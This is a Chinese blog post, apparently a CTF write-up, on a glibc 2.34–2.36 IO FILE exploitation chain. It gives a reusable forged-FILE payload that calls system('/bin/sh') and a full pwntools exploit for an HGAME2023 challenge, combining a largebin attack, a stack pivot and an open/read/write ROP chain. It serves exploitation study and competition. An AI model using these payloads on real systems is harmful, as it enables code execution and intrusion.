GLIBC2.34以后的IO FILE利用链

First Post:

Last Update:

本文纪录一个较为好用的,适用于GLIBC2.34-2.36的 IO FILE 利用链表,因为我个人比较爱用,且具备一定的泛用性,而且个人认为要比其他的好理解,因此记录一下。

触发利用的部分参考:https://tttang.com/archive/1845/,本文直接套用了 payload。

首先最好能够覆盖 IO_all_list 的值为 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
payload = flat(
{
0x8:1,
0x10:0,
0x38:address_for_rdi,
0x28:address_for_call,
0x18:1,
0x20:0,
0x40:1,
0xe0:heap_base + 0x250,
0xd8:libc_base + get_IO_str_jumps() - 0x300 + 0x20,
0x288:libc_base+libc.sym["system"],
0x288+0x10:libc_base+next(libc.search(b"/bin/sh\x00")),
0x288+0x18:1
},
filler = '\x00'
)
p.send(payload)

计算覆盖不到 IO_all_list,覆盖 stderr、stdout也都可以,只要能覆盖一次就算成功。

上述的payload可以用于触发任意命令执行,但是有的时候会遇到 seccomp 的问题,此时结合本方法需要达成 ROP,但仍然很便捷,触发 IO 到执行 ROP 中间没有太多其他东西,基本上一气呵成。

借用的 gadget 如下:

1
2
3
4
5
6
7
pwndbg> disassemble svcudp_reply
0x00007f2195256f0a <+26>:mov rbp,QWORD PTR [rdi+0x48]
0x00007f2195256f0e <+30>:mov rax,QWORD PTR [rbp+0x18]
0x00007f2195256f12 <+34>:lea r13,[rbp+0x10]
0x00007f2195256f16 <+38>:mov DWORD PTR [rbp+0x10],0x0
0x00007f2195256f1d <+45>:mov rdi,r13
0x00007f2195256f20 <+48>:call QWORD PTR [rax+0x28]

由于这个方法触发的 IO 能够控制 rdi ,因此通过这个 gadget 可以控制 rbp 和 rax,在 rdi 中准确布置好结构后,令最后的 call 调用 leave;ret 的 gadget 即可完成栈迁移,一步到位,相当好用。

我在 HGAME2023 WEEK4 的 without_hook 中使用了这个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *
context.log_level="debug"
context(arch = "amd64")
#p=process("./vuln")
p=remote("week-4.hgame.lwsec.cn",30858)
elf=ELF("./vuln")
libc=elf.libc
def add(index,size):
p.recvuntil(">")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(size))

def delete(index):
p.recvuntil(">")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(index))

def edit(index,context):
p.recvuntil(">")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Content: ")
p.send(context)

def show(index):
p.recvuntil(">")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(index))

add(0,0x518)#0
add(1,0x798)#1
add(2,0x508)#2
add(3,0x798)#3
delete(0)

show(0)
libc_base=u64(p.recvuntil(b"\x7f").ljust(8,b'\x00'))-(0x7f6689476cc0-0x7f6689280000)
print("leak_addr: "+hex(libc_base))
add(4,0x528)

edit(0,"a"*16)
show(0)
p.recv(16)
heap=u64(p.recv(6).ljust(8,b'\x00'))
heap_base=heap-(0x55e99882e290-0x55e99882e000)
print("heap_addr: "+hex(heap_base))
recover=libc_base+(0x7f7d45c370f0-0x7f7d45a40000)
edit(0,p64(recover)*2)

delete(2)

target_addr = libc_base+libc.sym["_IO_list_all"]-0x20
print(hex(target_addr))
target_heap=libc_base+(0x563df74c9140-0x563df74c7000)-(0x56193a0a4d40-0x56193a0a2140)
level_ret=0x000000000005591c+libc_base

edit(0,p64(libc_base+0x7f4c865a90f0-0x7f4c863b2000) * 2 + p64(heap_base+0x000055a6af7b3290-0x55a6af7b3000) + p64(target_addr))#largebin attack

add(5,0x528)#5

gadget3=libc_base+(0x00007f2195256f0a-0x7f21950f4000)
level_ret=0x000000000050757+libc_base
pop_rdi_gad=0x0000000000023eb5+libc_base
pop_rdi=0x0000000000023ba5+libc_base
pop_rsi=0x00000000000251fe+libc_base
pop_rdx_rbx=0x000000000008bbb9+libc_base
pop_rax=0x000000000003f923+libc_base
syscall_addr=0x00000000000227b2+libc_base

def get_IO_str_jumps():
IO_file_jumps_addr = libc.sym['_IO_file_jumps']
IO_str_underflow_addr = libc.sym['_IO_str_underflow']
for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
possible_IO_str_jumps_addr = ref - 0x20
if possible_IO_str_jumps_addr > IO_file_jumps_addr:
return possible_IO_str_jumps_addr

address_for_rdi=libc_base
address_for_call=libc_base
payload = flat(
{
0x8:1,
0x10:0,
0x38:heap_base+0xf50+0xe8,
0x28:gadget3,
0x18:1,
0x20:0,
0x40:1,
0xd0:heap_base + 0xf50,
0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20,
},
filler = '\x00'
)
payload+=p64(level_ret)+p64(0)+p64(heap_base+0xf50+0xe8-0x28)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+(b"flag\x00\x00\x00\x00")+p64(heap_base+0xf50+0xe8+72)
payload+=p64(pop_rdi_gad)+p64(0)+p64(heap_base+0xf50+0xe8-0x28)
payload+=p64(pop_rdi)+p64(heap_base+0xf50+0xe8+64)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(libc_base+libc.sym['open'])
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base+0xf50+0xe8)+p64(pop_rdx_rbx)+p64(0x100)+p64(0x100)+p64(libc_base+libc.sym['read'])
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base+0xf50+0xe8)+p64(pop_rdx_rbx)+p64(0x100)+p64(0x100)+p64(libc_base+libc.sym['write'])

print("targe_heap: "+hex(heap_base+0x5619dd9ecf60-0x5619dd9ec000))
edit(2,payload)#2
p.recvuntil(">")
p.sendline("5")
p.interactive()

除了用于触发 IO 的一个模板,下面的内容其实主要是在构造 ROP,如您所见,这能方便我很多工作。因为很多时候用于触发 IO 是通过 largebin attack 完成的,在这种情况下,这个方法能够适用。